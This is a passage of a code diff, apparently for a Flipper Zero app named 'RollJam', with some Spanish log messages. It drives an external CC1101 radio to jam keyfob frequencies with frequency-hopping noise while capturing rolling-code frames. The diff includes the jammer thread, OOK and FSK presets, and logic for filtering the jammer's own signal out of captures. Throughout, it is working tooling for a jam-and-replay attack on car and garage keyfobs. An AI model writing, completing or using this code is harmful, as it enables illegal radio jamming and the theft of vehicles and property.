cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, 0x47);
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
cc_write(CC_FREND0, 0x11);
|
||||
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
|
||||
cc_write(CC_FSCAL3, 0xEA);
|
||||
cc_write(CC_FSCAL2, 0x2A);
|
||||
cc_write(CC_FSCAL1, 0x00);
|
||||
cc_write(CC_FSCAL0, 0x1F);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
|
||||
cc_write(CC_FSCAL3, cal->fscal3);
|
||||
cc_write(CC_FSCAL2, cal->fscal2);
|
||||
cc_write(CC_FSCAL1, cal->fscal1);
|
||||
cc_write(CC_FSCAL0, cal->fscal0);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
|
||||
uint8_t st = cc_state();
|
||||
uint8_t mdm2 = cc_read(CC_MDMCFG2);
|
||||
uint8_t dev = cc_read(CC_DEVIATN);
|
||||
FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
|
||||
uint8_t st = cc_state();
|
||||
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
|
||||
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
|
||||
return (st == MARC_IDLE);
|
||||
}
|
||||
|
||||
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
|
||||
const ExtBandCal* cal = ext_get_band_cal(freq);
|
||||
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
|
||||
cc_idle();
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
cc_write(CC_PKTCTRL0, 0x00);
|
||||
cc_write(CC_PKTCTRL1, 0x00);
|
||||
cc_write(CC_PKTLEN, 0xFF);
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
cc_set_freq(freq);
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
cc_write(CC_MDMCFG4, 0x85);
|
||||
cc_write(CC_MDMCFG3, 0x43);
|
||||
cc_write(CC_MDMCFG2, 0x00);
|
||||
cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
cc_write(CC_FREND0, 0x10);
|
||||
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
cc_write(CC_FSCAL3, cal->fscal3);
|
||||
cc_write(CC_FSCAL2, cal->fscal2);
|
||||
cc_write(CC_FSCAL1, cal->fscal1);
|
||||
cc_write(CC_FSCAL0, cal->fscal0);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
return (cc_state() == MARC_IDLE);
|
||||
}
|
||||
|
||||
static void ext_gpio_init_spi_pins(void) {
|
||||
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_cs, true);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_sck, false);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_mosi, false);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
|
||||
}
|
||||
|
||||
static void ext_gpio_deinit_spi_pins(void) {
|
||||
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_init(void) {
|
||||
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_deinit(void) {
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "EXT GPIO deinit");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Jam thread - FIFO-fed OOK at low data rate
|
||||
// Noise pattern & jam helpers
|
||||
// ============================================================
|
||||
|
||||
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
|
||||
@@ -387,34 +357,41 @@ static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
|
||||
static int32_t jam_thread_worker(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
|
||||
uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
|
||||
uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
|
||||
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
|
||||
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
|
||||
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
|
||||
|
||||
FURI_LOG_I(TAG, "========================================");
|
||||
FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
|
||||
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
|
||||
app->frequency, app->jam_offset_hz, is_fsk);
|
||||
FURI_LOG_I(TAG, "========================================");
|
||||
|
||||
ext_gpio_init_spi_pins();
|
||||
furi_delay_ms(5);
|
||||
|
||||
if(!cc_reset()) {
|
||||
FURI_LOG_E(TAG, "JAM: Reset failed!");
|
||||
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
if(!cc_check()) {
|
||||
FURI_LOG_E(TAG, "JAM: No chip!");
|
||||
FURI_LOG_E(TAG, "JAM: Chip no detectado");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool jam_ok = false;
|
||||
if(app->mod_index == ModIndex_FM238) {
|
||||
jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
|
||||
} else if(app->mod_index == ModIndex_FM476) {
|
||||
jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
|
||||
} else {
|
||||
jam_ok = cc_configure_jam(jam_freq_pos);
|
||||
}
|
||||
bool jam_ok;
|
||||
if(app->mod_index == ModIndex_FM238)
|
||||
jam_ok = cc_configure_jam_fsk(freq_pos, false);
|
||||
else if(app->mod_index == ModIndex_FM476)
|
||||
jam_ok = cc_configure_jam_fsk(freq_pos, true);
|
||||
else
|
||||
jam_ok = cc_configure_jam(freq_pos);
|
||||
|
||||
if(!jam_ok) {
|
||||
FURI_LOG_E(TAG, "JAM: Config failed!");
|
||||
FURI_LOG_E(TAG, "JAM: Config failed");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
|
||||
@@ -438,18 +415,20 @@ static int32_t jam_thread_worker(void* context) {
|
||||
jam_start_tx(noise_pattern, 62);
|
||||
st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
|
||||
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
|
||||
ext_gpio_deinit_spi_pins();
|
||||
app->jamming_active = false;
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
|
||||
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
|
||||
|
||||
uint32_t loops = 0;
|
||||
uint32_t loops = 0;
|
||||
uint32_t underflows = 0;
|
||||
uint32_t refills = 0;
|
||||
bool on_positive_offset = true;
|
||||
uint32_t refills = 0;
|
||||
bool on_pos = true;
|
||||
|
||||
while(app->jam_thread_running) {
|
||||
loops++;
|
||||
@@ -458,10 +437,8 @@ static int32_t jam_thread_worker(void* context) {
|
||||
cc_idle();
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_us(100);
|
||||
|
||||
on_positive_offset = !on_positive_offset;
|
||||
cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
|
||||
|
||||
on_pos = !on_pos;
|
||||
cc_set_freq(on_pos ? freq_pos : freq_neg);
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(1);
|
||||
@@ -469,7 +446,6 @@ static int32_t jam_thread_worker(void* context) {
|
||||
}
|
||||
|
||||
st = cc_state();
|
||||
|
||||
if(st != MARC_TX) {
|
||||
underflows++;
|
||||
cc_idle();
|
||||
@@ -500,69 +476,46 @@ static int32_t jam_thread_worker(void* context) {
|
||||
cc_idle();
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
|
||||
cc_write(CC_IOCFG2, 0x2E);
|
||||
|
||||
ext_gpio_deinit_spi_pins();
|
||||
|
||||
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// GPIO
|
||||
// ============================================================
|
||||
|
||||
void rolljam_ext_gpio_init(void) {
|
||||
FURI_LOG_I(TAG, "EXT GPIO init");
|
||||
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_cs, true);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_sck, false);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_mosi, false);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_deinit(void) {
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
|
||||
}
|
||||
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
FURI_LOG_I(TAG, "EXT GPIO deinit");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Public
|
||||
// Public API
|
||||
// ============================================================
|
||||
|
||||
void rolljam_jammer_start(RollJamApp* app) {
|
||||
if(app->jamming_active) return;
|
||||
app->jam_frequency = app->frequency + app->jam_offset_hz;
|
||||
rolljam_ext_power_on();
|
||||
furi_delay_ms(100);
|
||||
rolljam_ext_gpio_init();
|
||||
furi_delay_ms(10);
|
||||
|
||||
app->jam_frequency = app->frequency + app->jam_offset_hz;
|
||||
app->jam_thread_running = true;
|
||||
app->jamming_active = true;
|
||||
|
||||
rolljam_ext_power_on();
|
||||
furi_delay_ms(50);
|
||||
|
||||
rolljam_ext_gpio_init();
|
||||
|
||||
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
|
||||
furi_thread_start(app->jam_thread);
|
||||
app->jamming_active = true;
|
||||
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
|
||||
|
||||
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
|
||||
}
|
||||
|
||||
void rolljam_jammer_stop(RollJamApp* app) {
|
||||
if(!app->jamming_active) return;
|
||||
|
||||
app->jam_thread_running = false;
|
||||
furi_thread_join(app->jam_thread);
|
||||
furi_thread_free(app->jam_thread);
|
||||
app->jam_thread = NULL;
|
||||
|
||||
rolljam_ext_gpio_deinit();
|
||||
rolljam_ext_power_off();
|
||||
app->jamming_active = false;
|
||||
|
||||
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
|
||||
}
|
||||
|
||||
@@ -21,148 +21,252 @@
|
||||
#define CC_FSCAL1 0x25
|
||||
#define CC_FSCAL0 0x26
|
||||
|
||||
// ============================================================
|
||||
// Presets
|
||||
// ============================================================
|
||||
#define CC_PKTCTRL0 0x08
|
||||
#define CC_PKTCTRL1 0x07
|
||||
#define CC_FSCTRL1 0x0B
|
||||
#define CC_WORCTRL 0x20
|
||||
#define CC_FREND1 0x21
|
||||
|
||||
static const uint8_t preset_ook_rx[] = {
|
||||
// OOK 650kHz
|
||||
static const uint8_t preset_ook_650_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0xD7, // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_FIFOTHR, 0x07,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x17,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x43, // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
|
||||
CC_AGCCTRL1, 0x40, // CS_REL_THR relative threshold
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_rx[] = {
|
||||
// OOK 270kHz
|
||||
static const uint8_t preset_ook_270_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0xE7,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x67,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x40,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x03,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// 2FSK Dev 2.38kHz
|
||||
static const uint8_t preset_2fsk_238_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x15,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_ook_tx[] = {
|
||||
// 2FSK Dev 47.6kHz
|
||||
static const uint8_t preset_2fsk_476_async[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0x8C,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// TX OOK
|
||||
static const uint8_t preset_ook_tx[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x07,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x30,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG4, 0x17,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x18,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x11,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_tx_238[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0x8C,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x15,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t preset_fsk_tx_476[] = {
|
||||
CC_IOCFG0, 0x0D,
|
||||
CC_FIFOTHR, 0x47,
|
||||
CC_MDMCFG4, 0x8C,
|
||||
CC_MDMCFG3, 0x32,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_PKTCTRL0, 0x32,
|
||||
CC_FSCTRL1, 0x06,
|
||||
CC_MDMCFG0, 0x00,
|
||||
CC_MDMCFG1, 0x00,
|
||||
CC_MDMCFG2, 0x00,
|
||||
CC_MDMCFG3, 0x75,
|
||||
CC_MDMCFG4, 0x57,
|
||||
CC_DEVIATN, 0x47,
|
||||
CC_MCSM0, 0x18,
|
||||
CC_FOCCFG, 0x16,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL0, 0x91,
|
||||
CC_AGCCTRL1, 0x00,
|
||||
CC_AGCCTRL2, 0x07,
|
||||
CC_WORCTRL, 0xFB,
|
||||
CC_FREND0, 0x10,
|
||||
CC_FSCAL3, 0xEA,
|
||||
CC_FSCAL2, 0x2A,
|
||||
CC_FSCAL1, 0x00,
|
||||
CC_FSCAL0, 0x1F,
|
||||
0x00, 0x00
|
||||
CC_FREND1, 0xB6,
|
||||
0x00, 0x00,
|
||||
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Capture state machine
|
||||
// ============================================================
|
||||
|
||||
#define MIN_PULSE_US 50
|
||||
#define MAX_PULSE_US 32767 // int16_t max — covers all keyfob pulse widths
|
||||
#define SILENCE_GAP_US 50000 // 50ms gap = real end of frame for all keyfob types
|
||||
#define MIN_FRAME_PULSES 20 // Some keyfobs have short frames
|
||||
#define AUTO_ACCEPT_PULSES 300 // Need more pulses before auto-accept
|
||||
#define MIN_PULSE_US 100
|
||||
#define MAX_PULSE_US 32767
|
||||
#define SILENCE_GAP_US 50000
|
||||
#define MIN_FRAME_PULSES 40
|
||||
#define AUTO_ACCEPT_PULSES 300
|
||||
#define MAX_CONTINUOUS_SAMPLES 800
|
||||
|
||||
// Tolerance for jammer pattern detection (microseconds)
|
||||
#define JAM_PATTERN_TOLERANCE 120
|
||||
|
||||
static bool rolljam_is_jammer_pattern(RawSignal* s) {
|
||||
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
|
||||
if(s->size < 20) return false;
|
||||
int16_t first = s->data[0];
|
||||
int16_t abs_first = first > 0 ? first : -first;
|
||||
int matches = 0;
|
||||
|
||||
// Calcular estadísticas una sola vez
|
||||
int16_t max_abs = 0;
|
||||
int64_t sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
int diff = abs_val - abs_first;
|
||||
if(diff < 0) diff = -diff;
|
||||
if(diff < JAM_PATTERN_TOLERANCE) {
|
||||
matches++;
|
||||
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
|
||||
if(v > max_abs) max_abs = v;
|
||||
sum += v;
|
||||
}
|
||||
int32_t mean = (int32_t)(sum / (int64_t)s->size);
|
||||
|
||||
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
|
||||
mod_index, max_abs, mean, (int)s->size);
|
||||
|
||||
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
|
||||
if((int)s->size < 120) {
|
||||
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
if(max_abs < 25000) {
|
||||
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(mod_index == 1) { // ModIndex_AM270=1
|
||||
if(mean < 3000) {
|
||||
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return (matches > (int)(s->size * 8 / 10));
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
#define MIN_VARIANCE 2000
|
||||
|
||||
static bool rolljam_has_sufficient_variance(RawSignal* s) {
|
||||
if(s->size < 20) return false;
|
||||
|
||||
int64_t sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
sum += (val > 0) ? val : -val;
|
||||
}
|
||||
int32_t mean = (int32_t)(sum / (int64_t)s->size);
|
||||
|
||||
int64_t var_sum = 0;
|
||||
for(size_t i = 0; i < s->size; i++) {
|
||||
int16_t val = s->data[i];
|
||||
int32_t abs_val = (val > 0) ? val : -val;
|
||||
int32_t diff = abs_val - mean;
|
||||
var_sum += (int64_t)diff * diff;
|
||||
}
|
||||
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
|
||||
|
||||
bool has_var = (variance > MIN_VARIANCE);
|
||||
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
|
||||
mean, variance, has_var ? "PASS" : "FAIL");
|
||||
return has_var;
|
||||
}
|
||||
|
||||
typedef enum {
|
||||
@@ -171,90 +275,101 @@ typedef enum {
|
||||
CapDone,
|
||||
} CapState;
|
||||
|
||||
static volatile CapState cap_state;
|
||||
static volatile int cap_valid_count;
|
||||
static volatile int cap_total_count;
|
||||
static volatile bool cap_target_first;
|
||||
static volatile uint32_t cap_callback_count;
|
||||
static volatile float cap_rssi_baseline;
|
||||
typedef struct {
|
||||
volatile CapState state;
|
||||
volatile int valid_count;
|
||||
volatile int total_count;
|
||||
volatile bool target_first;
|
||||
volatile uint32_t callback_count;
|
||||
volatile uint32_t continuous_count;
|
||||
float rssi_baseline;
|
||||
uint8_t mod_index;
|
||||
} CapCtx;
|
||||
|
||||
static CapCtx g_cap;
|
||||
|
||||
static void cap_ctx_reset(CapCtx* c) {
|
||||
c->state = CapWaiting;
|
||||
c->valid_count = 0;
|
||||
c->total_count = 0;
|
||||
c->callback_count = 0;
|
||||
c->continuous_count = 0;
|
||||
}
|
||||
|
||||
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
